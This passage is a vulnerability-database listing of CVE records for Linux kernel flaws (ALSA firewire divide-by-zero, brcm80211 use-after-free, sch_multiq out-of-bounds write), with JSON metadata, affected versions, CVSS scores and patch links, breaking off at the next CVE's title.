Linux	Linux	Affected: 826b5de90c0bca4e9de6231da9e1730480621588 , < d575414361630b8b0523912532fcd7c79e43468c (git) Affected: 826b5de90c0bca4e9de6231da9e1730480621588 , < 5e431f85c87bbffd93a9830d5a576586f9855291 (git) Affected: 826b5de90c0bca4e9de6231da9e1730480621588 , < 7d4eb9e22131ec154e638cbd56629195c9bcbe9a (git) Affected: 826b5de90c0bca4e9de6231da9e1730480621588 , < d2826873db70a6719cdd9212a6739f3e6234cfc4 (git) Affected: 826b5de90c0bca4e9de6231da9e1730480621588 , < 4bdc21506f12b2d432b1f2667e5ff4c75eee58e3 (git) Affected: 826b5de90c0bca4e9de6231da9e1730480621588 , < 3452d39c4704aa12504e4190298c721fb01083c3 (git) Affected: 826b5de90c0bca4e9de6231da9e1730480621588 , < 72cafe63b35d06b5cfbaf807e90ae657907858da (git)
Linux	Linux	Affected: 4.20 Unaffected: 0 , < 4.20 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.170 , ≤ 5.15.* (semver) Unaffected: 6.1.115 , ≤ 6.1.* (semver) Unaffected: 6.6.59 , ≤ 6.6.* (semver) Unaffected: 6.11.6 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50205",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:17:39.245341Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-369",
                "description": "CWE-369 Divide By Zero",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:27:06.818Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:27:00.776Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:27.745Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "sound/firewire/amdtp-stream.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d575414361630b8b0523912532fcd7c79e43468c",
              "status": "affected",
              "version": "826b5de90c0bca4e9de6231da9e1730480621588",
              "versionType": "git"
            },
            {
              "lessThan": "5e431f85c87bbffd93a9830d5a576586f9855291",
              "status": "affected",
              "version": "826b5de90c0bca4e9de6231da9e1730480621588",
              "versionType": "git"
            },
            {
              "lessThan": "7d4eb9e22131ec154e638cbd56629195c9bcbe9a",
              "status": "affected",
              "version": "826b5de90c0bca4e9de6231da9e1730480621588",
              "versionType": "git"
            },
            {
              "lessThan": "d2826873db70a6719cdd9212a6739f3e6234cfc4",
              "status": "affected",
              "version": "826b5de90c0bca4e9de6231da9e1730480621588",
              "versionType": "git"
            },
            {
              "lessThan": "4bdc21506f12b2d432b1f2667e5ff4c75eee58e3",
              "status": "affected",
              "version": "826b5de90c0bca4e9de6231da9e1730480621588",
              "versionType": "git"
            },
            {
              "lessThan": "3452d39c4704aa12504e4190298c721fb01083c3",
              "status": "affected",
              "version": "826b5de90c0bca4e9de6231da9e1730480621588",
              "versionType": "git"
            },
            {
              "lessThan": "72cafe63b35d06b5cfbaf807e90ae657907858da",
              "status": "affected",
              "version": "826b5de90c0bca4e9de6231da9e1730480621588",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "sound/firewire/amdtp-stream.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.20"
            },
            {
              "lessThan": "4.20",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.115",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.59",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.6",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: firewire-lib: Avoid division by zero in apply_constraint_to_size()\n\nThe step variable is initialized to zero. It is changed in the loop,\nbut if it\u0027s not changed it will remain zero. Add a variable check\nbefore the division.\n\nThe observed behavior was introduced by commit 826b5de90c0b\n(\"ALSA: firewire-lib: fix insufficient PCM rule for period/buffer size\"),\nand it is difficult to show that any of the interval parameters will\nsatisfy the snd_interval_test() condition with data from the\namdtp_rate_table[] table.\n\nFound by Linux Verification Center (linuxtesting.org) with SVACE."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:47:27.505Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d575414361630b8b0523912532fcd7c79e43468c"
        },
        {
          "url": "https://git.kernel.org/stable/c/5e431f85c87bbffd93a9830d5a576586f9855291"
        },
        {
          "url": "https://git.kernel.org/stable/c/7d4eb9e22131ec154e638cbd56629195c9bcbe9a"
        },
        {
          "url": "https://git.kernel.org/stable/c/d2826873db70a6719cdd9212a6739f3e6234cfc4"
        },
        {
          "url": "https://git.kernel.org/stable/c/4bdc21506f12b2d432b1f2667e5ff4c75eee58e3"
        },
        {
          "url": "https://git.kernel.org/stable/c/3452d39c4704aa12504e4190298c721fb01083c3"
        },
        {
          "url": "https://git.kernel.org/stable/c/72cafe63b35d06b5cfbaf807e90ae657907858da"
        }
      ],
      "title": "ALSA: firewire-lib: Avoid division by zero in apply_constraint_to_size()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50205",
    "datePublished": "2024-11-08T06:07:55.993Z",
    "dateReserved": "2024-10-21T19:36:19.969Z",
    "dateUpdated": "2026-05-12T12:00:27.745Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-47233 (GCVE-0-2023-47233)

Vulnerability from cvelistv5 – Published: 2023-11-03 00:00 – Updated: 2026-05-12 10:52

Summary

The brcm80211 component in the Linux kernel through 6.5.10 has a brcmf_cfg80211_detach use-after-free in the device unplugging (disconnect the USB by hotplug) code. For physically proximate attackers with local access, this "could be exploited in a real world scenario." This is related to brcmf_cfg80211_escan_timeout_worker in drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c.

Severity ?

4.3 (Medium)


                        
                          CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

Assigner

mitre

References

6 references

URL	Tags
https://bugzilla.suse.com/show_bug.cgi?id=1216702
https://marc.info/?l=linux-kernel&m=169907678011243&w=2
https://lore.kernel.org/all/20231104054709.716585…
https://git.kernel.org/cgit/linux/kernel/git/torv…
https://lists.debian.org/debian-lts-announce/2024…	mailing-list
https://lists.debian.org/debian-lts-announce/2024…	mailing-list

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T21:09:35.699Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://bugzilla.suse.com/show_bug.cgi?id=1216702"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://marc.info/?l=linux-kernel\u0026m=169907678011243\u0026w=2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lore.kernel.org/all/20231104054709.716585-1-zyytlz.wz%40163.com/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=0f7352557a35ab7888bc7831411ec8a3cbe20d78"
          },
          {
            "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
            "tags": [
              "mailing-list",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "name": "[debian-lts-announce] 20240627 [SECURITY] [DLA 3840-1] linux security update",
            "tags": [
              "mailing-list",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "PHYSICAL",
              "availabilityImpact": "HIGH",
              "baseScore": 4.3,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-47233",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-06T15:54:23.860050Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-03-06T15:58:48.113Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:52:41.603Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The brcm80211 component in the Linux kernel through 6.5.10 has a brcmf_cfg80211_detach use-after-free in the device unplugging (disconnect the USB by hotplug) code. For physically proximate attackers with local access, this \"could be exploited in a real world scenario.\" This is related to brcmf_cfg80211_escan_timeout_worker in drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-06-27T12:11:46.076Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://bugzilla.suse.com/show_bug.cgi?id=1216702"
        },
        {
          "url": "https://marc.info/?l=linux-kernel\u0026m=169907678011243\u0026w=2"
        },
        {
          "url": "https://lore.kernel.org/all/20231104054709.716585-1-zyytlz.wz%40163.com/"
        },
        {
          "url": "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=0f7352557a35ab7888bc7831411ec8a3cbe20d78"
        },
        {
          "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
          "tags": [
            "mailing-list"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
        },
        {
          "name": "[debian-lts-announce] 20240627 [SECURITY] [DLA 3840-1] linux security update",
          "tags": [
            "mailing-list"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2023-47233",
    "datePublished": "2023-11-03T00:00:00.000Z",
    "dateReserved": "2023-11-03T00:00:00.000Z",
    "dateUpdated": "2026-05-12T10:52:41.603Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36978 (GCVE-0-2024-36978)

Vulnerability from cvelistv5 – Published: 2024-06-19 06:20 – Updated: 2026-05-12 11:54

Title

net: sched: sch_multiq: fix possible OOB write in multiq_tune()

Summary

In the Linux kernel, the following vulnerability has been resolved: net: sched: sch_multiq: fix possible OOB write in multiq_tune() q->bands will be assigned to qopt->bands to execute subsequent code logic after kmalloc. So the old q->bands should not be used in kmalloc. Otherwise, an out-of-bounds write will occur.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/d5d9d241786f49ae7…
https://git.kernel.org/stable/c/52b1aa07cda6a199c…
https://git.kernel.org/stable/c/598572c64287aee0b…
https://git.kernel.org/stable/c/0f208fad86631e005…
https://git.kernel.org/stable/c/54c2c171c11a798fe…
https://git.kernel.org/stable/c/d6fb5110e8722bc00…
https://git.kernel.org/stable/c/affc18fdc694190ca…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c2999f7fb05b87da4060e38150c70fa46794d82b , < d5d9d241786f49ae7cbc08e7fc95a115e9d80f3d (git) Affected: c2999f7fb05b87da4060e38150c70fa46794d82b , < 52b1aa07cda6a199cd6754d3798c7759023bc70f (git) Affected: c2999f7fb05b87da4060e38150c70fa46794d82b , < 598572c64287aee0b75bbba4e2881496878860f3 (git) Affected: c2999f7fb05b87da4060e38150c70fa46794d82b , < 0f208fad86631e005754606c3ec80c0d44a11882 (git) Affected: c2999f7fb05b87da4060e38150c70fa46794d82b , < 54c2c171c11a798fe887b3ff72922aa9d1411c1e (git) Affected: c2999f7fb05b87da4060e38150c70fa46794d82b , < d6fb5110e8722bc00748f22caeb650fe4672f129 (git) Affected: c2999f7fb05b87da4060e38150c70fa46794d82b , < affc18fdc694190ca7575b9a86632a73b9fe043d (git)
Linux	Linux	Affected: 5.4 Unaffected: 0 , < 5.4 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36978",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-21T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-22T04:55:12.222Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:55:30.685Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d5d9d241786f49ae7cbc08e7fc95a115e9d80f3d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/52b1aa07cda6a199cd6754d3798c7759023bc70f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/598572c64287aee0b75bbba4e2881496878860f3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0f208fad86631e005754606c3ec80c0d44a11882"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/54c2c171c11a798fe887b3ff72922aa9d1411c1e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d6fb5110e8722bc00748f22caeb650fe4672f129"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/affc18fdc694190ca7575b9a86632a73b9fe043d"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:23.206Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_multiq.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d5d9d241786f49ae7cbc08e7fc95a115e9d80f3d",
              "status": "affected",
              "version": "c2999f7fb05b87da4060e38150c70fa46794d82b",
              "versionType": "git"
            },
            {
              "lessThan": "52b1aa07cda6a199cd6754d3798c7759023bc70f",
              "status": "affected",
              "version": "c2999f7fb05b87da4060e38150c70fa46794d82b",
              "versionType": "git"
            },
            {
              "lessThan": "598572c64287aee0b75bbba4e2881496878860f3",
              "status": "affected",
              "version": "c2999f7fb05b87da4060e38150c70fa46794d82b",
              "versionType": "git"
            },
            {
              "lessThan": "0f208fad86631e005754606c3ec80c0d44a11882",
              "status": "affected",
              "version": "c2999f7fb05b87da4060e38150c70fa46794d82b",
              "versionType": "git"
            },
            {
              "lessThan": "54c2c171c11a798fe887b3ff72922aa9d1411c1e",
              "status": "affected",
              "version": "c2999f7fb05b87da4060e38150c70fa46794d82b",
              "versionType": "git"
            },
            {
              "lessThan": "d6fb5110e8722bc00748f22caeb650fe4672f129",
              "status": "affected",
              "version": "c2999f7fb05b87da4060e38150c70fa46794d82b",
              "versionType": "git"
            },
            {
              "lessThan": "affc18fdc694190ca7575b9a86632a73b9fe043d",
              "status": "affected",
              "version": "c2999f7fb05b87da4060e38150c70fa46794d82b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_multiq.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.4"
            },
            {
              "lessThan": "5.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: sch_multiq: fix possible OOB write in multiq_tune()\n\nq-\u003ebands will be assigned to qopt-\u003ebands to execute subsequent code logic\nafter kmalloc. So the old q-\u003ebands should not be used in kmalloc.\nOtherwise, an out-of-bounds write will occur."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:18:20.974Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d5d9d241786f49ae7cbc08e7fc95a115e9d80f3d"
        },
        {
          "url": "https://git.kernel.org/stable/c/52b1aa07cda6a199cd6754d3798c7759023bc70f"
        },
        {
          "url": "https://git.kernel.org/stable/c/598572c64287aee0b75bbba4e2881496878860f3"
        },
        {
          "url": "https://git.kernel.org/stable/c/0f208fad86631e005754606c3ec80c0d44a11882"
        },
        {
          "url": "https://git.kernel.org/stable/c/54c2c171c11a798fe887b3ff72922aa9d1411c1e"
        },
        {
          "url": "https://git.kernel.org/stable/c/d6fb5110e8722bc00748f22caeb650fe4672f129"
        },
        {
          "url": "https://git.kernel.org/stable/c/affc18fdc694190ca7575b9a86632a73b9fe043d"
        }
      ],
      "title": "net: sched: sch_multiq: fix possible OOB write in multiq_tune()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36978",
    "datePublished": "2024-06-19T06:20:23.103Z",
    "dateReserved": "2024-05-30T15:25:07.082Z",
    "dateUpdated": "2026-05-12T11:54:23.206Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21795 (GCVE-0-2025-21795)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

NFSD: fix hang in nfsd4_shutdown_callback

Summary

